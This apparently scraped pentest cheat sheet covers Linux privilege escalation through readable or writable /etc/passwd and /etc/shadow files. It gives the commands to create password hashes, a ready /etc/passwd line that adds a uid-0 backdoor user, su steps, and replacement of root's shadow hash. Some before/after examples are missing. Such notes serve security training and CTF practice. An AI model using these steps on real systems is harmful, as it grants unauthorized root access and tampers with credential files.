/etc/passwd & /etc/shadow
/etc/passwd readible - root no password ?
No x ?
/etc/passwd writable
Change root line (remove x):
Before:
After:
Capabilities
Create new user
Create a password hash:
openssl passwd -1 -salt [salt] [password]
Ex:openssl passwd -1 -salt new 123
$1$new$p7ptkEKU1HnaHpRtzNizS1
Add an new entry to
/etc/passwd
: Ex:new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
Switch to the new user
su new password: 123 id uid=0(new) gid=0(root) groups=0(root)
/etc/shadow readible
Crack hashes
Cracking/etc/shadow writable
Generate a new password hash with a password of your choice:
mkpasswd -m sha-512 newpasswordhere
Edit the
/etc/shadow
file and replace the original root user's password hash with the one you just generated.Switch to the root user, using the new password:
su root
Last updated